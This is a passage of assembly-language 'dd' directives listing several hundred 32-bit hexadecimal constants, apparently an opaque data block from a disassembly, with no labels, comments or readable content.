		dd 0F0006E31h, 0D37AFBB1h, 0C35E6385h, 9D687108h, 9C6B62C0h
		dd 7B09881Fh, 4775B000h, 0A0CCCF7Fh, 79D635D7h,	89A70006h
		dd 29B3DA27h, 0EA12D170h, 401D3FE1h, 2E4E8741h,	55C0D038h
		dd 3A640FF0h, 0CA47A440h, 172F103Dh, 2701A5BBh,	4442701Eh
		dd 33FC6D71h, 0D8F0007Eh, 0CE2816A6h, 0DE006CB4h, 695BEAB7h
		dd 19B678h, 0F053E60Dh,	43AE9FBh, 0FFE21612h, 0B2E6000h
		dd 9BC505Dh, 0F8631EC8h, 80586284h, 0EB3F5164h,	312F1800h
		dd 0E9A7408Fh, 781600CFh, 0CFB6159h, 0A201499Fh, 32F3FD3Fh
		dd 7FDC1504h, 0F9EB0238h, 44827997h, 2C0E1448h,	5592BE00h
		dd 0D84FA7C2h, 9179D4h,	7195E528h, 161BB70Bh, 9008C100h
		dd 57292752h, 947301F4h, 0EBC8358Ah, 23188097h,	60F1A9D9h
		dd 0DEBF03DAh, 4F0F9D48h, 0C8D683D1h, 1751E24h,	454BB300h
		dd 0CBAAB5B0h, 0F0E461C4h, 0CC767EEDh, 0FF14877Dh, 50A89FDBh
		dd 0BE182930h, 9510697Ch, 6F672822h, 7FBD38CDh,	8760F900h
		dd 493E55B5h, 0FE15F100h, 8C9B9A1Ch, 1B7A005Ch,	8A82C892h
		dd 993D6106h, 0DD6280A8h, 420E0536h, 0D61F002Dh, 5B6F4A9Bh
		dd 0B27BEE85h, 6B8D4001h, 0DA65CB8Ah, 987B8370h, 4DCA0057h
		dd 0B2C0E05Dh, 0D907E13Fh, 4AE83093h, 6D0608A0h, 0E807A99h
		dd 82D84C94h, 0E8FD2A60h, 0A9E48D63h, 1D659CA0h, 0C315B100h
		dd 3B069AD0h, 0F8CB4C83h, 33A69000h, 99CF6934h,	3F313Ah
		dd 0DA6BC235h, 5C309Ch,	0EC2B87A7h, 6EE81745h, 0AD0063F0h
		dd 3343C7CDh, 7720D468h, 22ED00DAh, 496D93B6h, 0A000B5FFh
		dd 646A027Eh, 0A268299h, 92B9AA2Ah, 8C0900DCh, 87492BA0h
		dd 1CA6AB26h, 4DD7FC80h, 265F1760h, 9B4F60Ah, 40012722h
		dd 0CC81A9EAh, 61074B8Ah, 0B05CF010h, 452E73F0h, 4288005Fh
		dd 9A98DE16h, 2500CA6Ch, 0C4F13D6Dh, 0B2E153h, 897B6A61h
		dd 66B3FC24h, 0FD3E7017h, 0BB8D5400h, 0AA366Dh,	0B5498453h
		dd 0B2D12386h, 3B995003h, 0E8A02F19h, 7015D022h, 50F5F6BAh
		dd 25E4C8h, 8778E7AFh, 3C6146CDh, 1D1C5473h, 1182DF24h
		dd 80EA392Ch, 0A54EB4B4h, 29DCFB80h, 0FA581C26h, 0AFD840DAh
		dd 578ABF1Ah, 0D0A2A8C0h, 0EE6948B7h, 2B898C5h,	7D24359Bh
		dd 0D8015340h, 0C0046EE4h, 0A83D4A5Bh, 67F6187Eh, 23AFFF2h
		dd 50138073h, 0A9D6F6CEh, 0E65B120Bh, 0B85000FDh, 5546810Ah
		dd 4AC9150h, 0A8E45900h, 1F4D98CBh, 238B008Eh, 5BA29932h
		dd 75F452B9h, 0DA5FDD00h, 0F26E891Dh, 0BB4700DBh, 245527D3h
		dd 4F0031C9h, 871BAE0Fh, 668EF9h, 5D16E9FEh, 0C5F571B7h
		dd 0CDB83901h, 3831BF2Dh, 2661F0D3h, 0D17A07C2h, 50797C8Fh
		dd 50609A9Ch, 0DC1EBD00h, 343A8A22h, 0A0C8500Fh, 74B40004h
		dd 7A2AB613h, 2200F3A5h, 2DB2B9DEh, 500110E1h, 0BFC45Ah
		dd 0F64792D0h, 1AC17CE3h, 0D284E200h, 79951C57h, 8F113D3Ch
		dd 0FFD7D500h, 0B30CB5FEh, 78681E00h, 829D6B96h, 79944857h
		dd 0F1F68700h, 2F99CE5Dh, 79625905h, 0F481FF80h, 0FCD31F3h
		dd 30C9CBE0h, 0D186BC3Fh, 0D203DEBDh, 1F9DB087h, 8467A8C8h
		dd 0DA400C6h, 47737FEBh, 1A00A712h, 82B6D08Fh, 40E6432h
		dd 142BD1F2h, 0DB6C82CFh, 5745005Dh, 726AD5Bh, 7F1E434Bh
		dd 0FE478016h, 3E002D52h, 0FC41F519h, 93CB97h, 381E6061h
		dd 4286833Dh, 0EE40E400h, 9968DF80h, 272F005Dh,	54B1FE05h
		dd 42002473h, 7893C5FBh, 96BCD4h, 9BE7606Ah, 3329F4A5h
		dd 0CAA2011Dh, 0D8654B00h, 606D66h, 4D3084E4h, 71860C79h
		dd 0C41EDF00h, 0CC5A3A6Fh, 4D5FA89h, 0E83E2046h, 39E4C17Fh
		dd 707AF16Ah, 0EC034BF3h, 0D05EF409h, 842E829h,	0F7AB00B1h
		dd 49B7EF45h, 7A00ECE5h, 338BAE0Dh, 0C08CF071h,	0DA7F2E71h
		dd 577F082Ch, 465A6800h, 0C58DEC27h, 3C9C059Fh,	1F336F6Ch
		dd 1CFB01DFh, 83EFFC73h, 0A46A9520h, 0C98189ADh, 283F14ECh
		dd 1EA431A5h, 80C57E19h, 0EF6AC3C8h, 740077B5h,	61D21EACh
		dd 1252C4F8h, 0C002E436h, 0F19D89A8h, 8B015C1Ch, 0BA550680h
		dd 0C7AFFh, 2D03F282h, 2369F198h, 0A3307300h, 0B4BC7E6Ah
		dd 8A59009Fh, 254BFEA8h, 277FFDB7h, 0F81A0300h,	4737AA1Ch
		dd 7A040082h, 9CAEC4D4h, 791F59C3h, 9840E9D9h, 0ECB472D3h
		dd 0F2910197h, 0AF44F0C7h, 6B77CC56h, 6E5DBF00h, 634654A0h
		dd 0CB355082h, 1D600DDh, 96A8785Fh, 0AB3C59B1h,	0BBD7803Eh
		dd 0FC8463Dh, 8EC900F0h, 0EB0C0D20h, 0AC7ADD26h, 0F9DAF71Eh
		dd 0E095CF49h, 1446EF44h, 84EE2A3Bh, 426AD312h,	0DB4E4F98h
		dd 89E794C0h, 5384358h,	0F6CD2C70h, 8CC1C680h, 0D3442679h
		dd 0CB7180B4h, 708ACA1h, 2CB4CD02h, 43D2553Dh, 71A800E8h
		dd 11B03709h, 0DA00B24Ch, 6A5AB69Bh, 347463h, 5916AA02h
		dd 3ED6D1E6h, 3C2658h, 0F4F17A4Eh, 1EDA3Bh, 0C95637ACh
		dd 5A9801B5h, 0C6F28006h
		dd 605067h, 8AD6AB7Ah, 3CF4A2B0h, 1C814F00h, 0C144EBB2h
		dd 3484AB9h, 1E8D65ECh,	0A2A693D7h, 8011E038h, 3B5E330h
		dd 2766B39h, 2FFD5D62h,	0C86141DDh, 598029F0h, 400B2E84h
		dd 314C1503h, 0F45900FCh, 0A3AB9EB6h, 1C9619CEh, 0B038C300h
		dd 1C5766Ch, 0F83D860Fh, 0F42EE337h, 4039FA1h, 1391D8FEh
		dd 5A35F85Dh, 0BA8A009Ah, 225665ADh, 0FC00A8C5h, 0F9D63A21h
		dd 0F5636F59h, 58DA7EF8h, 1A00B838h, 481255E1h,	9C004254h
		dd 0CCED7204h, 126E66B2h, 0FFDF9E9h, 63414CF0h,	0E895897Fh
		dd 0F4F7A9E7h, 742479FCh, 180004EDh, 5DBC8F70h,	49AE0047h
		dd 556D774Dh, 94006E59h, 9FEF4A48h, 8D4553h, 2F36936Fh
		dd 0DC84BA2Bh, 359AFB03h, 0C0926838h, 13BE5AA2h, 0E3804Bh
		dd 67F6D8C4h, 472E0D4Dh, 0F280149Fh, 285ADE6Dh,	0CF2B0199h
		dd 0D5714B3h, 0CD686058h, 1901FBECh, 1752F8FFh,	95D8EA7Dh
		dd 0E319C0CAh, 7FAA80DCh, 0ECD86400h, 1DC056E1h, 0ACDB0702h
		dd 0B03B6CFAh, 58C66E3h, 0E515D8E1h, 0DC0A3502h, 0CBB07F06h
		dd 4AAEA0B4h, 3C3EC47h,	0C5CE5AA4h, 80C88357h, 0D00F013h
		dd 15D2A5D6h, 7FEA9807h, 3541014Ah, 955ED892h, 7D5CE8E7h
		dd 0A28F1607h, 0FE303C2Bh, 659735h, 0C9B0F13Eh,	0F81E21DFh
		dd 4100EC96h, 0B9D0F271h, 46FB00B6h, 3DB4CE8Fh,	0B23F6DE1h
		dd 2F007ACDh, 0DFC544EAh, 9E9CD7h, 6C155728h, 0BF239F10h
		dd 38E948h, 0E6A6A1A7h,	415168h, 92823A4Ch, 72F4DE7Ah
		dd 23D12Ch, 0F01AC700h,	18ED68BBh, 0F80B2539h, 6A0E21D3h
		dd 0F2DC642Eh, 0B2486047h, 86591A10h, 9E570146h, 0C944FB6Ch
		dd 0A4B8FC64h, 70D31500h, 4F074CB1h, 1BDF848h, 0A5D9CB35h
		dd 401276B5h, 0F8C6F388h, 0BC4CC0B8h, 83521EFCh, 57CC0500h
		dd 0E7025404h, 0B0FEFAECh, 28D70070h, 264F2755h, 5E00A908h
		dd 0DD24BBEFh, 3457DABh, 39508F57h, 609EE553h, 0C20E1A00h
		dd 0E329D446h, 0D0D90C04h, 8BD87BA8h, 998DAF0Ah, 4300C13Eh
		dd 0ECC7AA4Dh, 59DE0006h, 896B8211h, 0D60E940Eh, 0E0B07E6Ch
		dd 1037FFA9h, 752F8BAh,	86B8E324h, 0FD84025Ch, 491E2C40h
		dd 424EB200h, 0BADFE564h, 16087B55h, 3B5D5C6h, 243AB88h
		dd 0CD3E22C0h, 0D8EF6B07h, 0FD803599h, 751382h,	6E2CE1FCh
		dd 0C2C67A40h, 0F4B23Eh, 37E206D6h, 307E90F9h, 0CF18BF56h
		dd 9530D49Fh, 0A7B129DDh, 626100DFh, 0CAADAB2Bh, 0F0005C74h
		dd 7563E4BDh, 5BB847h, 7DCEC87h, 92787D1Ah, 0EB669809h
		dd 0B3C78079h, 0F1B0128h, 0B00F558Dh, 0FD291140h, 6F0EF9EAh
		dd 4010A9E2h, 3CD1D704h, 0E4D20041h, 0B377821Eh, 0B202DC09h
		dd 5096F2ABh, 0AE2860C5h, 8575004Ch, 32657CD2h,	0B5008DE5h
		dd 60F59311h, 11FA5ABh,	7E33378h, 0D0FE7BD4h, 0DD0064CFh
		dd 269CF817h, 1EF39646h, 807E5A9Bh, 0FEBB348Ch,	70007931h
		dd 29CCA643h, 232C88h, 0F0AA4C24h, 0AED66297h, 429D811Eh
		dd 1C152B00h, 179BA8h, 0A78CA0Fh, 0C5D20DFEh, 1E5E9A3Bh
		dd 2B80538Eh, 0F74355BFh, 256C005Fh, 1A7023B5h,	0BAEEF9BCh
		dd 0CBD4DA00h, 55E2A97Dh, 8F9700D9h, 0CCDC3F5h,	4D00F0E4h
		dd 8E6703E0h, 0CFD77299h, 3EA12920h, 81D8467Ah,	59287D10h
		dd 0B16018E0h, 0DFC107DBh, 80D70773h, 2F4F12F8h, 0B0C68800h
		dd 0E86A0E53h, 955A00BEh, 2CBB5BC3h, 6600F907h,	0DDB1AA33h
		dd 8CFCE0h, 87690281h, 2B3B29F7h, 1F7EE82Ch, 99209B00h
		dd 0A06A251Dh, 9E95ACh,	9C63BCC5h, 853886A7h, 1A2C31Dh
		dd 90BBC480h, 3DA8D18Ch, 690EEAC8h, 6AEFB61Eh, 0A210C5E0h
		dd 0FF02BB6Fh, 15BAC862h, 69E05DC7h, 0E8004381h, 0EF98E5A1h
		dd 0CF4E6Ah, 0A76386BAh, 0D84D8A53h, 0BE2CB63Fh, 6BDC015Fh
		dd 759ECD6Dh, 131EC07Bh, 53007279h, 1F310CA3h, 3A2C3Eh
		dd 0F398FE39h, 6088F55Dh, 8005AD00h, 1FEC0379h,	1C7BF64Bh
		dd 0CC9BAF65h, 1B380A1Eh, 49612003h, 0C0131DB6h, 11862DFh
		dd 41915643h, 40A4D0EAh, 1B741A84h, 58B2C600h, 0DC2A303h
		dd 129B07D7h, 0F0EC7595h, 8C449305h, 0D90C2400h, 588DF31Eh
		dd 483E6109h, 3FD387Dh,	3920C8C6h, 0DA22018Fh, 65C117BFh
		dd 6BB98464h, 3ED088CEh, 3B742282h, 3FF60C7h, 73771444h
		dd 26F828ABh, 2400E585h, 0B0398F98h, 36938D7h, 366C1637h
		dd 8AB0F615h, 9A006EAEh, 6AB6FDA3h, 8065Fh, 582C3D75h
		dd 5EA4A1EBh, 20D71130h, 28AA566Fh, 2841A5Ah, 29D1E8F2h
		dd 5C603C9Ch, 0A601BB09h, 0C6E30FC0h, 0C1F460ABh, 0A19700B8h
		dd 0F34CCB68h, 0C3009D83h, 0FBE68536h, 2FFE7Ch,	688F6125h
		dd 10672B77h, 913FCA78h, 7638867Eh, 3D202330h, 2085DD4Fh
		dd 0C07AE2BEh, 438C2C30h, 9249B90Fh, 85DD6154h,	0FCC480B6h
		dd 9D3D03F7h, 0CAC90E64h, 132C2EA8h, 74F94Ch, 7F11354Eh
		dd 7D74Ch, 0CD1FEDB3h, 0ABCC2D03h, 0C4D8F700h, 0FDDDC6ADh
		dd 43DE0024h, 9C5153D2h, 0FA006FBDh, 0DE5DCFCh,	4F307Ah
		dd 2381D44Ch, 7275A8BCh, 0B3501D1Eh, 83935709h,	0C02DCA87h
		dd 0EC3A8248h, 3B18073Dh, 80EF3085h, 778C3FA5h,	0FB0073F0h
		dd 0A4E82048h, 6D7CDDh,	0CE476539h, 0F42F41C8h,	368D601h
		dd 0E13F5766h, 4D50CC80h, 0A9112B45h, 0B540F207h, 2057F585h
		dd 0DB8FD870h, 45300048h, 2192CDCBh, 6900E7EEh,	0A71B7168h
		dd 26A08758h, 0ED80374h, 650FBC4Fh, 0FA1FA620h,	9202FBAEh
		dd 73D3E03Bh, 4CF880FFh, 1C9C0B9Bh, 0C1EFCC65h,	78D88D4h
		dd 0A82299h, 0D350B95Ch, 136DAD27h, 0FCCC8572h,	0B04883h
		dd 39E821E9h, 3F1F48h, 0CFC41DBFh, 10A98A4h, 0DCC62624h
		dd 0FA84C200h, 909AAE2Eh, 0F6CE3D3Ch, 3D804B38h, 3B8B7BB1h
		dd 820099C7h, 0B9D1655Dh, 0EF13FD9h, 626FA636h,	0B15ABF67h
		dd 2092A737h, 0DF00E0B7h, 0D7D459B5h, 45970Ah, 0D39517D6h
		dd 0B9D50C2Eh, 0CC139D3Dh, 54210072h, 68E0F566h, 93A0146Bh
		dd 0A3009005h, 0FD9C6E4Eh, 3E78C454h, 8A9A4C0Fh, 6A1D008Fh
		dd 0BFB49Eh, 480BED70h,	0F0134BEh, 0D97C280Fh, 24DC0F6h
		dd 0F22BFEAh, 563EB1AFh, 0D719807Fh, 2CDCFD36h,	25D39400h
		dd 5FA6F569h, 0EABA2C86h, 0C05A804Ch, 0E74DF7F9h, 1D50AB02h
		dd 90A7D494h, 26B66BBCh, 897C919Dh, 0E7800D6Eh,	14615224h
		dd 17604407h, 207C6D04h, 29C83E28h, 48ADFE00h, 54D8670Dh
		dd 11DE4F00h, 645EB865h, 76E2004Eh, 5557B159h, 0FD28CB1Dh
		dd 0CEE5BCE4h, 342FB0C0h, 93D59B03h, 0D713A2CCh, 62B14D30h
		dd 5B4B0030h, 1849AA73h, 450E3E24h, 0AEAF302h, 5F1DBCEDh
		dd 96CFE2C0h, 0EDC0184h, 0BB0B158Eh, 0C29F83A1h, 9B99302Fh
		dd 0C0F19817h, 64FDD700h, 180A0h, 5EE5595Bh, 1C5CD69Fh
		dd 1F06E70Fh, 9181E776h, 0E1DBD130h, 0B8E43916h, 0CF86D080h
		dd 0B4420CE7h, 0C5889400h, 778DADAFh, 0D5BE0064h, 1029C10h
		dd 1D00931Ah, 0EBAAE49Eh, 0FA464195h, 0EC9A8Fh,	4967BBBEh
		dd 624C9A34h, 0EA20690Fh, 50A88071h, 6FDA81h, 401BB98h
		dd 5EED4F6Bh, 545CC202h, 402ED60Bh, 0BEE084h, 0D246E74h
		dd 782F23B0h, 0F3B3C300h, 8D198B40h, 64EA1D5Ch,	0FE7D81D0h
		dd 0F067D48Ah, 890F211Fh, 18AAE90Ah, 1C5E519Eh,	8F1A044Ah
		dd 9B1FF3D1h, 0A1D3A8D8h, 0FCB44CC0h, 0F7A0238h, 44E6D24Fh
		dd 0EA8084E0h, 69DA83Dh, 6855FB2h, 0E20011FCh, 8926B319h
		dd 6EEE107Dh, 73C2F87Ch
		dd 80400809h, 0F004C15h, 770AF80Eh, 505AA93h, 32385D75h
		dd 3D1808EFh, 0F408741h, 538C546h, 986730B6h, 7B10013Ch
		dd 80E5EF47h, 0D7335C0h, 0F0F4A75Bh, 3122008Ch,	94E9B645h
		dd 0B17C0AB8h, 0F9235D00h, 9704D027h, 0CE7CF5h,	8E0C4F7Bh
		dd 0EB17D9C5h, 8ED26D3Dh, 0A0B5A73Ah, 0ACF77649h, 6A7A1777h
		dd 6B5400CBh, 0B87265AEh, 6C7008E8h, 0A62BE600h, 0CF1DB396h
		dd 0ABFE008Eh, 3C936717h, 600B7BEh, 0F21A12ADh,	0CA4F41h
		dd 3088FEB9h, 6989A2D7h, 0B4670A1Dh, 2CCC0600h,	82B380h
		dd 0B8D84843h, 3C6224A9h, 0FDF2F119h, 282490DCh, 4AE5009Dh
		dd 0F3E11382h, 493AFBEDh, 219F30F0h, 4B08BCh, 0DE74B7E5h
		dd 10F85AB3h, 76A52604h, 10801B35h, 140512h, 4C17A8AAh
		dd 0EE732111h, 60BC000h, 3EC951B3h, 0FEB80C7Ah,	0EA5979D4h
		dd 5D838A00h, 52B587DEh, 0B45C01E7h, 92E16358h,	8D7070A8h
		dd 0A6BE740Ah, 465E5C3Ah, 43610EA0h, 0F38C20D5h, 30D021F1h
		dd 7D20C863h, 0A400127Fh, 136892EFh, 3BBC55h, 7159C3D1h
		dd 0FF4889E8h, 0CCE6B200h, 0DA670C3Ah, 38890EAh, 6698E16Bh
		dd 2006F1CBh, 670ED2F4h, 47D0579h, 648008h, 0BEE99E08h
		dd 0A01E30DDh, 90596913h, 2180B408h, 6EBEFCF8h,	5D4BEF5Ah
		dd 751203ACh, 4B5B1CF6h, 75809F67h, 9ED554F4h, 9DB8A001h
		dd 0F275B6FFh, 827D024h, 8BEF5158h, 88318587h, 3C602346h
		dd 51BAB1FEh, 0A33CE100h, 459422ECh, 74309278h,	7C53C89Eh
		dd 3150600Bh, 0BEC8BA07h, 0E374E907h, 0ABF6D3A9h, 21406908h
		dd 0A0BEFC80h, 4F0784C3h, 8F7C5715h, 1C8E94A3h,	803F7650h
		dd 5D70301Fh, 6F037FA2h, 729C795Fh, 0EB0CD841h,	856A03DDh
		dd 625DC95Bh, 7034FDB0h, 2F26CC00h, 97EBC59Fh, 2604E4F1h
		dd 582402h, 2570FE68h, 1607EC9Eh, 2BF1E73Ah, 0C4ED5750h
		dd 17223CE4h, 3C7D00FFh, 110C904Bh, 70397B01h, 539600CAh
		dd 0CF083BC4h, 7090046h, 0D7E72364h, 670065DEh,	0E5FB3E1Ah
		dd 0FA540h, 92120E0h, 4D36A8A1h, 16EA120Bh, 0A3F200B4h
		dd 3D9D31h, 50C8719Ch, 0CD79D790h, 6FEB7400h, 5FDD5C1Ch
		dd 0F95E1DFAh, 8D524061h, 0F6BA5D0Ah, 27B110C0h, 0E595BFh
		dd 0FB9A424Dh, 0B22D8198h, 0C603370Eh, 20498F08h, 0EE019E4Eh
		dd 5A0B0020h, 0A45FBA32h, 581C3B73h, 51376AC2h,	117004CAh
		dd 10656118h, 80E34019h, 9BE62099h, 0F25261h, 11B89883h
		dd 4497E08Fh, 0FD271A18h, 88EBC429h, 0A389853Ah, 0FE44D908h
		dd 0F7E74448h, 84D78E44h, 50EBDB22h, 44743C2Ch,	0F75AB90h
		dd 88FAB380h, 2A80E5F0h, 89451D58h, 114D0026h, 7B537DF2h
		dd 4484D003h, 360738h, 13AF3920h, 0EA797EC9h, 71326500h
		dd 68867820h, 448D0707h, 8BDFEB73h, 0A8895782h,	2D90EE82h
		dd 144553C0h, 0EBDC100h, 978FF9ACh, 0F167ADCh, 77843E68h
		dd 3B391C60h, 2B00C176h, 94DF5D25h, 0FCDB6F5Ch,	1E8600DAh
		dd 723DC7ECh, 0B000B6B9h, 533536A2h, 0FDC300Bh,	3877C0E7h
		dd 0BEDB1EA0h, 7E0A9DAh, 7BB9C300h, 0EEA71562h,	67F9008Ch
		dd 40D79E81h, 5D005472h, 71648D9Dh, 388C8D4h, 0C04F1DBCh
		dd 0BAE81F1Eh, 3E851E1h, 74F6AC00h, 0A913C64Ch,	7AC93CF9h
		dd 0C595D38Eh, 87B6E7C0h, 1E01B4FAh, 0E9AEA617h, 41C4F1CFh
		dd 318E41Dh, 620DD4F8h,	0E6D0325Fh, 1300A1E1h, 2975791Eh
		dd 0D6BD3FCh, 4EA00BB8h, 0CB3A3021h, 0FEABA100h, 0E8ADCDD2h
		dd 86B039D1h, 0BC95007Ch, 5EA87FAAh, 0B8A0DEECh, 58031B98h
		dd 0E32971D7h, 0D238F0FDh, 0BD9139Dh, 1C300062h, 711D2765h
		dd 894E733Ch, 0D84454h,	4AA6F215h, 62FF00F3h, 87E5A7F4h
		dd 0BE18A830h, 0D2119D38h, 0C06C00F6h, 8BE8ED82h, 18CCA82Ch
		dd 0F1D4EDBh, 61F4898Fh, 5FCEEF20h, 0B80002E7h,	63B7692Ah
		dd 798D2027h, 249C90BCh, 400C2CACh, 0A6F1D05Eh,	32BE7200h
		dd 0E9CA2F89h, 0E29042h, 83C48568h, 0BA7975AEh,	0E1036524h
		dd 76364106h, 0CF470010h, 0F84FC248h, 3A398951h, 0BDA10091h
		dd 557AC706h, 6ACF07F3h, 60E81895h, 48F1B6DBh, 0AE8F5900h
		dd 2722FCFAh, 122300B9h, 9A72BCBh, 700F447h, 0B0A3F554h
		dd 2FAAF69h, 0B2CB0CA1h, 0FCC0435Bh, 0DF00C619h, 0F79A6F4Bh
		dd 54231Bh, 14779424h, 9E44A6D5h, 7C5BC3Dh, 84496B89h
		dd 85A06460h, 47970077h, 0E8400C99h, 0E5007EEFh, 74173357h
		dd 128AB5h, 1908DE0Bh, 1B664AA0h, 0FD3DC303h, 88FB5143h
		dd 3BDA33CBh, 0D78081CEh, 5EE9B114h, 0BA009BC6h, 0FF603466h
		dd 0BB3F28h, 0DB2CA2C7h, 53AF19D8h, 24D42F00h, 1C47B32Bh
		dd 7A2D0056h, 39C2BE5Ah, 0A105CE04h, 0B26D4326h, 0E74111C0h
		dd 0D9540034h, 19A08B8Eh, 43000CC3h, 0B3F43CB9h, 4C6A3FEFh
		dd 7A00F2DEh, 7C5249CBh, 4C0CDADDh, 20E1B081h, 0A53900B9h
		dd 152EA9AAh, 1C00736Eh, 1F589910h, 0C8D960Dh, 3028C94Dh
		dd 3500DE88h, 0E451EA57h, 1DB9E2ADh, 0C09BAB4Ah, 383779D2h
		dd 2E8BDC8h, 48261200h,	27BADAD6h, 39B2580Eh, 0F8E1C300h
		dd 0F22FB065h, 0CC3B1102h, 80F5BFA2h, 177F958Dh, 56CA0099h
		dd 5E3654B9h, 33005FBEh, 3FC90EE9h, 0D3D9C1h, 48ED5D49h
		dd 5E2920E6h, 93942F00h, 0C0350C0Eh, 961C00AAh,	0EE0D8222h
		dd 0A5005C32h, 0F79DA183h, 0EA6DAFC4h, 23B30084h, 0FD03616Fh
		dd 0E4160647h, 0B2001D71h, 9C63189Ah, 6BD5016Dh, 0FD295636h
		dd 15E2F699h, 899DBD60h, 0EE660F00h, 2BEDF58Bh,	9360030h
		dd 0CE17DBD4h, 0E9004274h, 8E18D737h, 0E926273h, 5E527570h
		dd 8446ADE0h, 6FE4542Dh, 0E9A70B00h, 41DDF97Eh,	0A9B00075h
		dd 8529C5AEh, 0BF1210D9h, 78004374h, 0B4FBEFB6h, 0CD420E50h
		dd 1805EE2h, 0FE3F52ADh, 0A6BDF00h, 0CC5A97E7h,	18D80025h
		dd 7B0E2B08h, 0B91D8BEAh, 0C540FD6Fh, 61E8E326h, 4C0400B8h
		dd 7C373691h, 0C00CEE1h, 139DC360h, 0C4E6CDh, 0D74C868Fh
		dd 2A0F6576h, 0C0A8F348h, 0BDF6ADBFh, 0A948B2h,	48C3007Fh
		dd 0EC237D5h, 5000E6C7h, 0BF82C4F3h, 0FEC61Ah, 0BB6C950Fh
		dd 314E0672h, 2B1EA600h, 0C5F3B556h, 0CA403EACh, 62707380h
		dd 7186E9Ch, 813E9B00h,	0EB4BCCDFh, 0A7010075h,	0D3B026F5h
		dd 2F3C6514h, 7F8402C6h, 0C0C2E95Fh, 557DB0h, 823463C5h
		dd 57B4A69h, 0A541200h,	0BCC07836h, 9F1C014Bh, 0AFACE479h
		dd 0E89821A6h, 23EA7D4h, 0A2BC80A3h, 349AB107h,	0C6720005h
		dd 5CA908C9h, 0E10002C3h, 0F421E38Ch, 0D7178Dh,	0F01693F7h
		dd 0D13F2592h, 8031A50Fh, 0EAE48B8h, 1180D00Fh,	68EA76A1h
		dd 0A62A0E00h, 0D5C60905h, 12301A9h, 9A38CD15h,	804AE8E4h
		dd 59A6821Ch, 30FCBC80h, 13D17C4Fh, 12A3124h, 0F344734Ch
		dd 0A801C07Ah, 8013923Dh, 419A20D6h, 24045D48h,	46C06E9h
		dd 0D03DCBFFh, 0F20D7398h, 2D6EFC0Ah, 0FE018F50h, 0C459F615h
		dd 0EA3BACD4h, 39F20099h, 0ADA4542Eh, 7B007E92h, 0D0B24C49h
		dd 90721Bh, 4DCF9B7Ch, 0C9D5E5A0h, 7AE13400h, 80482712h
		dd 75230797h, 0FE71332Ah, 0B11C0113h, 30379EEEh, 1C002B68h
		dd 759C9527h, 0F36FBEC9h, 96DDA88Eh, 10FF3EC1h,	98D27039h
		dd 0D9406500h, 0CC4F500Fh, 42603AE0h, 16646601h, 0CCA324ABh
		dd 0BB004C83h, 0A029BC0Ch, 26A9C3h, 16593AEh, 0EFED353h
		dd 488F2E12h, 0FC275C60h, 0FE300AEh, 818956B3h,	3A0CF9C8h
		dd 90042069h, 491500F4h
		dd 0CB5E4FBDh, 0DD00A886h, 3613E2B7h, 713CD9D8h, 0D72D016Ch
		dd 0CCFA6123h, 0E53983D4h, 0D08CBB58h, 0E31483h, 0F8B737ACh
		dd 0F23F50AEh, 2DC9B48h, 7AC646E7h, 0B459604Ch,	0A6F0073h
		dd 195A3D8Ah, 0FF00DEB2h, 3F9A9E6Bh, 8EB4D4h, 2C458179h
		dd 1992E27Ch, 3B2F5501h, 5DF9220Fh, 182767E4h, 880737F0h
		dd 143AFE75h, 59FCCAB4h, 1D6AE078h, 0F6361B8h, 6D8044B7h
		dd 2FCE54BAh, 8C406C07h, 63B0D2FCh, 26656FE5h, 1EC4FD2Dh
		dd 0DC4C825Eh, 0A880505Dh, 82F72866h, 3C4A270Fh, 0D8A2843Dh
		dd 15A94C0h, 4B702490h,	9C3B8038h, 0F7ED87A6h, 5B294C00h
		dd 826FC2BBh, 0AE890068h, 0E0D8B0F3h, 898F696h,	4ED9F00h
		dd 93F2D795h, 0F1F80042h, 2699E4E5h, 7C00B780h,	79331BC7h
		dd 64E208h, 2FA43C12h, 503E9A8Fh, 48B7EF00h, 22CF4119h
		dd 24B87Dh, 0FA5C6B0Bh,	5374071Bh, 8973BBFEh, 46006077h
		dd 2C626CE4h, 0F3C731h,	0BE404B82h, 0B54902A8h,	0C84A6037h
		dd 58274330h, 267D0011h, 3294E76Eh, 7A0F12A2h, 801C5733h
		dd 8EE4BC30h, 0ECA59871h, 0A79A007Fh, 0E3497465h, 92007EBBh
		dd 0DE45CED5h, 987B781Fh, 409B1EBCh, 9410CFC5h,	0D3617342h
		dd 0D9E585h, 182B8DA8h,	0A00016C4h, 11AF5BD6h, 2FDAEE55h
		dd 585E3491h, 0EA922400h, 84B4BFh, 0A3E8C60Ch, 67778CF1h
		dd 0CCCF4Ch, 0F66FB5F3h, 0C73C157Fh, 932040D0h,	2071CE8Ch
		dd 0A5601419h, 0BDD86340h, 3F1B00FEh, 28367A27h, 4E01ED64h
		dd 9195F93Dh, 0ADC0E60Bh, 0F3F70FFEh, 8F8113F4h, 0F589B41Dh
		dd 0ED40213Dh, 550BCC5Dh, 0AE4A5038h, 0B609D0CDh, 0E0600EE7h
		dd 333B203Fh, 904960F0h, 1B1ABBBFh, 0D50BF200h,	0E8FB1494h
		dd 70F4ED93h, 22E50916h, 5C81E3ECh, 0ECD2C252h,	23D5C60h
		dd 85FB870Eh, 0BAD116DEh, 0DDD89610h, 0B895778Ah, 0DBFF0F1Ch
		dd 0E56B3946h, 88FBB080h, 0E11E23D4h, 48C4BE3Bh, 5881FA47h
		dd 35F09BB1h, 8C965031h, 449098h, 474186CEh, 703D7D6Ch
		dd 5E7FB800h, 11C85633h, 0D55D0076h, 5B0AA0D3h,	1CEA02FDh
		dd 4FA5D918h, 98F36918h, 776A01C2h, 0FD2C78BDh,	59846025h
		dd 3C024D98h, 6423B436h, 87CC8085h, 3CC0D7Dh, 279DFC5Dh
		dd 0F7D87817h, 0EC03457Ch, 0BD5552Fh, 0AF57D941h, 7BF1EB20h
		dd 13E10E7Bh, 65200545h, 0D10B7CE4h, 20E9D000h,	0EBB6946h
		dd 0B1C200B8h, 649B2A58h, 5F00B062h, 0BF97AD5Dh, 9870CBh
		dd 0B7442E88h, 0F7F6B1C5h, 2400AAEEh, 4EBCE6B6h, 3A1215A5h
		dd 4B81182Ah, 2F017E6Bh, 1AAEC441h, 0BE9DFB00h,	1BCB9867h
		dd 327C00DEh, 25330EA4h, 60003430h, 3DF9F6A1h, 289C15h
		dd 0BD5F9A87h, 93F026EDh, 74EF3A01h, 0CA200692h, 3C52E0h
		dd 0ABFA5DD2h, 850C6CD4h, 1B6263Dh, 99DB2137h, 802FAA39h
		dd 0C473DF46h, 0BEF48500h, 4502A33Eh, 302F02FDh, 0BA8C8D40h
